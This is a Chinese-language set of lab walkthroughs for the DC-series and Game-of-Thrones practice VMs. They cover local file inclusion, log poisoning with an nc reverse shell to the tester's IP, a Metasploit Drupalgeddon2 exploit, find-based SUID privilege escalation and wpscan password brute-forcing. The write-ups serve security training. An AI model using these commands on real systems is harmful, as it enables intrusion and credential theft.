DC 5
扫描ip地址
之前一直没能够确认靶机的ip地址,其实只需要将网络连接模式修改为NAT模式重启一下就行了
1 | # root @ kali in ~ [4:06:38] |
扫描端口
masscan扫出了几个端口:
1 | # root @ kali in ~ [4:09:46] |
扫描端口对应的服务
然后上nmap扫服务
1 | # root @ kali in ~ [4:10:42] |
访问原始网页:
扫描后台——推荐使用 gobuster
dirsearch.py
似乎没有发现什么
1 | Target: http://192.168.41.167 |
看了师傅们的提示,发现footer.php很有趣
每次刷新数字都会变化
同时发现在 http://192.168.41.167/thankyou.php
页面也有这种效果,于是猜想是不是本地文件包含漏洞
访问http://192.168.41.167/thankyou.php?file=/etc/passwd
,页面回显了!
同时该主机使用的是nginx服务,于是可以写一个shell到日志中并且包含这个文件
写入webshell,注意这里使用的是passthru函数
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
kali监听一个端口然后访问如下路由去包含文件并且弹shellhttp://192.168.41.167/thankyou.php?file=/var/log/nginx/access.log&cmd=nc%20192.168.41.165%202333%20-c%20/bin/bash
核心命令nc 192.168.41.165 -c /bin/bash
此时的权限是www-data
接下来看如何提权
上提权辅助脚本
链接
发现有这个文件
exploit-db上搜一下exp:
1 |
|
提权方法
下载下来之后直接运行是不太可能的,我们需要将其中的C语言文件单独编译
然后修改原有的sh脚本
1 |
|
但是我不知道怎么将文件上传到靶机中,尝试过使用python开启一个服务器然后用wget命令还是失败了
如图发现还是失败了
(纠结在不知道如何将文件传过去。tcl
DC5后记
thankyou.php文件中有以下内容;典型的本地文件包含漏洞1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<div class="footer-wrapper">
<footer>
$file = $_GET['file'];
if(isset($file))
{
include("$file");
}
else
{
include("footer.php");
}
</footer>
DC1
arp-scan发现主机
1 | # root @ kali in ~ [9:46:49] |
扫描端口
1 | # root @ kali in ~ [9:46:56] |
发现80端口是一个cms,名字叫drupal
metasploit搜索一下drupal的渗透模块
1 | msf5 > search drupal |
然后设置相关参数,获得shell
1 | msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.41.168 |
但是之后只能获得一个Meterpreter
,不是root用户也没法运行Linux的常用命令,于是想到修改payload
1 | msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload php/exec |
此时本机监听一个2333端口,成功反弹shell
1 | $ nc -lvp 2333 |
此时上提权辅助脚本:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
添加可执行权限并且运行,重点关注:
1 | [-] SUID files: |
但是此时并没有什么用,我们这里要讲的是用fing命令提权
随便创建一个文件touch anquanke
然后find查找并且加上-exec选项:
1 | find anquanke -exec 'whoami' \; |
发现此时是root用户,于是执行/bin/sh
1 | find anquanke -exec '/bin/sh' \; |
至此提权成功了
DC-6靶机——wordpress渗透
老规矩探测靶机的ip,然后扫描端口发现开放了80,按照下载时作者的提示需要修改hosts文件
1 | $ cat /etc/hosts |
之前kali上的wpscan
有问题,更新镜像源重新升级了一下
wpscan --url http://wordy/ -e -t 20
直接扫一下看能有什么结果
扫描到用户:
1 | [i] User(s) Identified: |
下一步根据上面下载地址处作者的提示,我们生产一个字典包
1 | # root @ kali in ~ [21:29:41] |
之后使用wpscan爆破密码,登陆后台开始提权
参考
Game-of-Thrones-CTF-1靶机复现
一个很有意思的靶机
扫描靶机ip地址
1 | # root @ kali in ~ [19:58:22] |
扫描端口
1 | # root @ kali in ~ [19:59:38] |
扫描端口对应的服务:
1 | # root @ kali in ~ [20:00:24] |
此时80端口是开放的,所以可以扫描一下目录:
1 | [20:04:36] 200 - 1KB - /favicon.ico |
robots.txt文件
依次访问这些页面,同时记得查看源代码,具体的分析之后再搞1
2
3
4 /the-tree/
User-agent: *
Disallow: /secret-island/
Disallow: /direct-access-to-kings-landing/
参考
DC-2靶机
同样的扫描靶机ip,然后扫描端口,之后扫描端口对应的服务
发现开放了80和7744端口
1 | # root @ kali in ~/dirsearch on git:master o [20:46:10] |
然后修改hosts文件,打开网址发现又是一个wordpress
flag页面提示用cewl命令生成一个字典
cewl -w dc2_passwords.txt http://dc-2
用wpscan
扫描出用户名,然后再用wpscan
爆破密码
wpscan --url http://dc-2/ -e -t 20
wpscan --url http://dc-2/ -U user.txt -P dc2_passwords.txt
1 | [i] Valid Combinations Found: |